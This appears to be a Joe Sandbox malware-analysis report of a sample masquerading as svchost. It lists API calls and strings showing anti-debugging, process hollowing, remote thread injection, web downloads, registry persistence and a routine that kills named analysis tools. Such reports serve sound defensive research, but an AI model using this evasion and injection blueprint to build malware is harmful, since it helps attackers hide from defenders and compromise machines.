Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: ExitProcess$DebuggerPresent
String ID: audiodg.exe$msiexec.exe$svchost.exe$worker_BAccdq$worker_FDhvwc$worker_RdDwvE$worker_kBEqZh
API String ID: 613740775-1953711635
Opcode ID: b3f1f4026c81b251767b39b53f11b197d397bb2aec404a5ab29f459590c07ad0
Instruction ID: edd7d5eb7f3cf3d646155eeb8e52e94bdaf475f78ab0cd7cfaeee94ccbbf56c0
Opcode Fuzzy Hash: b3f1f4026c81b251767b39b53f11b197d397bb2aec404a5ab29f459590c07ad0
Instruction Fuzzy Hash: F8613CA091CA4B91E7E87B24AC7537AA268BF5CB01FC08137D54EC61E5CE3DE5058772

Function 00007FF7E52B40F0 Relevance: 10.6, APIs: 7, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B348D), ref: 00007FF7E52B40F4
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B348D), ref: 00007FF7E52B4107
GetTokenInformation.KERNELBASE ref: 00007FF7E52B4138
GetTokenInformation.KERNELBASE ref: 00007FF7E52B416A
CloseHandle.KERNEL32 ref: 00007FF7E52B4179

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: Token$InformationProcess$CloseCurrentHandleOpen
String ID:
API String ID: 434396405-0
Opcode ID: fd59080c66b321c73413e7d2de34e4bdf32d34c1a4fe8f44048adaaf0721e1f2
Instruction ID: 60d3bd2148555150e23c22be28be83a88abd1bdefe83c69afbd31072f79fb271
Opcode Fuzzy Hash: fd59080c66b321c73413e7d2de34e4bdf32d34c1a4fe8f44048adaaf0721e1f2
Instruction Fuzzy Hash: 81313272A1CA8586DB90DB15E86072AF774FBD8B80F504036F68E83B68DF7CD4418B51

Function 00007FF7E52B31B8 Relevance: 4.5, APIs: 3, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF7E52B3479), ref: 00007FF7E52B31BC
GetCurrentProcess.KERNEL32 ref: 00007FF7E52B31D2
CheckRemoteDebuggerPresent.KERNELBASE ref: 00007FF7E52B31E0

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: DebuggerPresent$CheckCurrentProcessRemote
String ID:
API String ID: 3920101602-0
Opcode ID: 2760cc306fb648241171a8ad32ec7adba68cc7e55a00feed93d80baffd57ff2b
Instruction ID: 7c0a6d81ef99fab9c21c3c19f6b3abc1d99749132e522a45ab3a34b5bcdc9b7d
Opcode Fuzzy Hash: 2760cc306fb648241171a8ad32ec7adba68cc7e55a00feed93d80baffd57ff2b
Instruction Fuzzy Hash: B9F0896190C18A81FBB06B149C243399798BB5DF04F944176D19DC5594CF3CD509DB37

Function 00007FF7E52B4230 Relevance: 4.5, APIs: 3, Instructions: 21
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexExA.KERNELBASE ref: 00007FF7E52B4245
GetLastError.KERNEL32 ref: 00007FF7E52B425C
CloseHandle.KERNEL32 ref: 00007FF7E52B426E

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: CloseCreateErrorHandleLastMutex
String ID:
API String ID: 4294037311-0
Opcode ID: 1cf4e2918870ecbf2b3a74783830b38e976b81dae19e632498ac4ce3c0eb4176
Instruction ID: 9c63f3681d08cd88a54c3d53a925e28e16db8ba81fbfb6afe5a1255e3bbb3dd3
Opcode Fuzzy Hash: 1cf4e2918870ecbf2b3a74783830b38e976b81dae19e632498ac4ce3c0eb4176
Instruction Fuzzy Hash: 87F03071D0C649C2EEA06B10E86437DA369FB9EB00F900536D58E82664CF3DD405A722

Function 00007FF7E52B14EC Relevance: 3.0, APIs: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00007FF7E52B14FF
GetProcAddress.KERNEL32 ref: 00007FF7E52B1514

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 3de293353023ce7eaf1012c377f6a933be5880676eb30226596abc0cfb8adc53
Instruction ID: d3b7114497aba8b813784166b28f760d5431f2b23f3bc5d607de0caa49f47bc9
Opcode Fuzzy Hash: 3de293353023ce7eaf1012c377f6a933be5880676eb30226596abc0cfb8adc53
Instruction Fuzzy Hash: EFE09276508F84C6C660AB15FC5011AB7B4FBC8BD4F904525EACD82B28CF3CC165CB00

Function 00007FF7E52B3B30 Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE ref: 00007FF7E52B3B4E

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 4b462866a68ef945608e70b48320bdff337310a325796390ca19b9d3342df2bc
Instruction ID: fa8c48fadac049404c4ed25b39b7a40ffc0138340eb3112033a2c373fb2ddd17
Opcode Fuzzy Hash: 4b462866a68ef945608e70b48320bdff337310a325796390ca19b9d3342df2bc
Instruction Fuzzy Hash: 26D01261E3998581EBD8EB26EC99715E3A4FBC8B44F80C036E68D81568CF3CC099CF01

Non-executed Functions

Function 00007FF7E52B24D8 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 440
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF7E52B253D

Strings

@, xrefs: 00007FF7E52B28B9
ntdll, xrefs: 00007FF7E52B2829
NtUnmapViewOfSection, xrefs: 00007FF7E52B283E
.reloc, xrefs: 00007FF7E52B2ADF

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: FileModuleName
String ID: .reloc$@$NtUnmapViewOfSection$ntdll
API String ID: 514040917-3001742581
Opcode ID: f5496b8d99a8c7caf0c0b55a9ab1f5a682755c9565fbd9300fe4f75c1206b34a
Instruction ID: f9544cf249d02f36ca25f7a21024aa5745a84f9a48cbacf9c0e1f87e7fb4b801
Opcode Fuzzy Hash: f5496b8d99a8c7caf0c0b55a9ab1f5a682755c9565fbd9300fe4f75c1206b34a
Instruction Fuzzy Hash: E632E9B261CBC586E7B4DB15E8647AAB3A5FBC8B84F404136DA8D83B58DF3CD4448B11

Function 00007FF7E52B10D8 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32 ref: 00007FF7E52B10FC

Strings

, xrefs: 00007FF7E52B11C5
@, xrefs: 00007FF7E52B1215
RtlCreateUserThread, xrefs: 00007FF7E52B130B
ntdll, xrefs: 00007FF7E52B12FE

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: OpenProcess
String ID: $@$RtlCreateUserThread$ntdll
API String ID: 3743895883-721857904
Opcode ID: f6177f26ecfa6db8765b7d7ab30776b26dd5ef2a04f7b13f717e068dc597f609
Instruction ID: 1d11a9b7b971af80e5330beda1afa0ce112574b955330d5a47de334fb556f31d
Opcode Fuzzy Hash: f6177f26ecfa6db8765b7d7ab30776b26dd5ef2a04f7b13f717e068dc597f609
Instruction Fuzzy Hash: B0712171A0CA8586E7B0AB14F86436AF3A4F788B40F904136D6CDC6B98EF7CD484DB51

Function 00007FF7E52B216C Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 138
networksleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET ref: 00007FF7E52B21B0
Sleep.KERNEL32 ref: 00007FF7E52B21C8
InternetOpenUrlW.WININET ref: 00007FF7E52B21F4
InternetOpenUrlW.WININET ref: 00007FF7E52B222B
InternetCloseHandle.WININET ref: 00007FF7E52B2243
Sleep.KERNEL32 ref: 00007FF7E52B224E
HttpQueryInfoA.WININET ref: 00007FF7E52B227E
InternetCloseHandle.WININET ref: 00007FF7E52B228D
InternetCloseHandle.WININET ref: 00007FF7E52B2298
Sleep.KERNEL32 ref: 00007FF7E52B22A3
InternetCloseHandle.WININET ref: 00007FF7E52B22BD
InternetOpenUrlW.WININET ref: 00007FF7E52B22E7
InternetCloseHandle.WININET ref: 00007FF7E52B22FF
Sleep.KERNEL32 ref: 00007FF7E52B230A
HttpQueryInfoA.WININET ref: 00007FF7E52B2342
GetProcessHeap.KERNEL32 ref: 00007FF7E52B2351
RtlAllocateHeap.NTDLL ref: 00007FF7E52B2367
InternetCloseHandle.WININET ref: 00007FF7E52B237F
InternetCloseHandle.WININET ref: 00007FF7E52B238A
InternetReadFile.WININET ref: 00007FF7E52B23C7
InternetCloseHandle.WININET ref: 00007FF7E52B23FD
InternetCloseHandle.WININET ref: 00007FF7E52B2408

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3, xrefs: 00007FF7E52B21A9

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: Internet$CloseHandle$OpenSleep$HeapHttpInfoQuery$AllocateFileProcessRead
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
API String ID: 2307068205-2771526726
Opcode ID: 13638dc1b1c5aae3aed83746edefc4c73050562fd4d9e98bbe27450033a219e6
Instruction ID: 6318d84f72bbacf7460dff7e4dbbbab96a81091099fe08a75b35efacb337205e
Opcode Fuzzy Hash: 13638dc1b1c5aae3aed83746edefc4c73050562fd4d9e98bbe27450033a219e6
Instruction Fuzzy Hash: 38711B7251CB85C2E790AB50F86432AF764FBC8B95F501036EA8E83A68CF7CD4448B11

Function 00007FF7E52B4570 Relevance: 25.7, APIs: 17, Instructions: 155
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 00007FF7E52B45B7
GetFileSize.KERNEL32 ref: 00007FF7E52B45D8
GetProcessHeap.KERNEL32 ref: 00007FF7E52B45EE
RtlAllocateHeap.NTDLL ref: 00007FF7E52B4607
CloseHandle.KERNEL32 ref: 00007FF7E52B461F

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: FileHeap$AllocateCloseCreateHandleProcessSize
String ID:
API String ID: 2693768547-0
Opcode ID: 281709a38610f6278202128174565b7605c8e1cf19e78cd386e0a5044a6a1a24
Instruction ID: 6a9033ff560f7cd2a28faa18f5e0636ea3aba7e1e5af48f9c9dfa7a1718d3903
Opcode Fuzzy Hash: 281709a38610f6278202128174565b7605c8e1cf19e78cd386e0a5044a6a1a24
Instruction Fuzzy Hash: 8C814C72A08B8582EB90DB55F89436AF7A5FBC9B91F504136DA8D83B68DF3CD044CB11

Function 00007FF7E52B3078 Relevance: 16.5, APIs: 1, Strings: 10, Instructions: 45
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7E52B4450: CreateFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B30B3), ref: 00007FF7E52B4498
Part of subcall function 00007FF7E52B4450: SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B30B3), ref: 00007FF7E52B44D5
Part of subcall function 00007FF7E52B4450: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B30B3), ref: 00007FF7E52B44E0

Part of subcall function 00007FF7E52B3B90: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B30B8), ref: 00007FF7E52B3BD3
Part of subcall function 00007FF7E52B3B90: RegSetValueExW.ADVAPI32 ref: 00007FF7E52B3C09
Part of subcall function 00007FF7E52B3B90: RegCloseKey.ADVAPI32 ref: 00007FF7E52B3C18

Part of subcall function 00007FF7E52B3C30: RegDeleteKeyW.ADVAPI32 ref: 00007FF7E52B3C48

Part of subcall function 00007FF7E52B3E30: CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF7E52B3E43

Part of subcall function 00007FF7E52B3E30: Process32FirstW.KERNEL32 ref: 00007FF7E52B3E76
Part of subcall function 00007FF7E52B3E30: CloseHandle.KERNEL32 ref: 00007FF7E52B3E88

Part of subcall function 00007FF7E52B3E30: wcscmp.MSVCRT ref: 00007FF7E52B3E9D
Part of subcall function 00007FF7E52B3E30: OpenProcess.KERNEL32 ref: 00007FF7E52B3EB3
Part of subcall function 00007FF7E52B3E30: TerminateProcess.KERNEL32 ref: 00007FF7E52B3ED6
Part of subcall function 00007FF7E52B3E30: CloseHandle.KERNEL32 ref: 00007FF7E52B3EE4
Part of subcall function 00007FF7E52B3E30: Process32NextW.KERNEL32 ref: 00007FF7E52B3EF7
Part of subcall function 00007FF7E52B3E30: CloseHandle.KERNEL32 ref: 00007FF7E52B3F09

Part of subcall function 00007FF7E52B39C0: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,00007FF7E52B3B18), ref: 00007FF7E52B39F0

Sleep.KERNEL32 ref: 00007FF7E52B3162

Strings

idaq64.exe, xrefs: 00007FF7E52B311A
autoruns.exe, xrefs: 00007FF7E52B3132
procexp.exe, xrefs: 00007FF7E52B30EA
procexp64.exe, xrefs: 00007FF7E52B30F6
x64dbg.exe, xrefs: 00007FF7E52B310E
ProcessHacker.exe, xrefs: 00007FF7E52B30DE
idaq.exe, xrefs: 00007FF7E52B3126
procmon.exe, xrefs: 00007FF7E52B313E
TOTALCMD.exe, xrefs: 00007FF7E52B3102
Services, xrefs: 00007FF7E52B3151

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: Close$Handle$Open$CreateFileProcessProcess32$AttributesDeleteFirstNextSleepSnapshotTerminateToolhelp32Valuewcscmp
String ID: ProcessHacker.exe$Services$TOTALCMD.exe$autoruns.exe$idaq.exe$idaq64.exe$procexp.exe$procexp64.exe$procmon.exe$x64dbg.exe
API String ID: 2853470409-928700279
Opcode ID: 279fda33ac18d26a8aa4f036a6ea5727a47bf55fa1b9fed43bc03c8fe3f26106
Instruction ID: 2622a25e1d6f5f3c7ba2b51ba3985246f7184024d6e2fe76859c2f929987d9f0
Opcode Fuzzy Hash: 279fda33ac18d26a8aa4f036a6ea5727a47bf55fa1b9fed43bc03c8fe3f26106
Instruction Fuzzy Hash: D4219AA0A2898A51E6C4BB60DC717B5A36DAF68B40FC48533D41EC21E29E7EB5058333

Function 00007FF7E52B38D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 43
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7E52B3750: GetWindowsDirectoryW.KERNEL32 ref: 00007FF7E52B3790
Part of subcall function 00007FF7E52B3750: GetVolumeInformationW.KERNEL32 ref: 00007FF7E52B380D
Part of subcall function 00007FF7E52B3750: wsprintfW.USER32 ref: 00007FF7E52B38AE

SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B3919
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B392E
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B3941
CreateDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B3951
SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B3964
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B3979
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B398C
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B39A1

Strings

.exe, xrefs: 00007FF7E52B3992

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: lstrcat$Directory$AttributesCreateFileFolderInformationPathVolumeWindowswsprintf
String ID: .exe
API String ID: 1846285901-4119554291
Opcode ID: f6a50f9ef93ebaf8bc2932846794c1cffc51ee18dea07f5a74ecdd23b80b10e5
Instruction ID: 7c83944f35b6a9a1ffc6d8985516c3b05701d4015ad586aa23b14a68156bc3f7
Opcode Fuzzy Hash: f6a50f9ef93ebaf8bc2932846794c1cffc51ee18dea07f5a74ecdd23b80b10e5
Instruction Fuzzy Hash: E711517162898A85DBA4AF25FC7436AB365FBC8F84F805032DA4E83A29DF3CD004C741

Function 00007FF7E52B2E08 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 32
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNEL32 ref: 00007FF7E52B2E21
ReleaseMutex.KERNEL32 ref: 00007FF7E52B2E39
CloseHandle.KERNEL32 ref: 00007FF7E52B2E44
GetLastError.KERNEL32 ref: 00007FF7E52B2E51
ReleaseMutex.KERNEL32 ref: 00007FF7E52B2E63
CloseHandle.KERNEL32 ref: 00007FF7E52B2E6E

Strings

rbNSpGEsyb, xrefs: 00007FF7E52B2E0C

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID: rbNSpGEsyb
API String ID: 299056699-189039185
Opcode ID: 9c3a1fa2930bd4c4931f773c359433a412b5a980c5de1ef126c7f09276534dfe
Instruction ID: 89270b2129e9415e90ee54bcfc588d67e76c415fd338739bace019f149787009
Opcode Fuzzy Hash: 9c3a1fa2930bd4c4931f773c359433a412b5a980c5de1ef126c7f09276534dfe
Instruction Fuzzy Hash: 7201C06690CA0681E7B4AB11EC74329A778FBDCF95F880533D94EC2674CF3DE5858612

Function 00007FF7E52B3E30 Relevance: 13.5, APIs: 9, Instructions: 44
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF7E52B3E43
Process32FirstW.KERNEL32 ref: 00007FF7E52B3E76
CloseHandle.KERNEL32 ref: 00007FF7E52B3E88

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: a3534e13e2ca229a2334e93633bd457ff5c86ad14382aa1a9374919d11bd80be
Instruction ID: dac062be917d7db506e37ecff3cbbc515be3c7c4c455fb1d62af2160b16a7346
Opcode Fuzzy Hash: a3534e13e2ca229a2334e93633bd457ff5c86ad14382aa1a9374919d11bd80be
Instruction Fuzzy Hash: A22115B190CA8981E7B0AB11EC6836AE369FFD8F54F804336D65D825A4DF3DD444C711

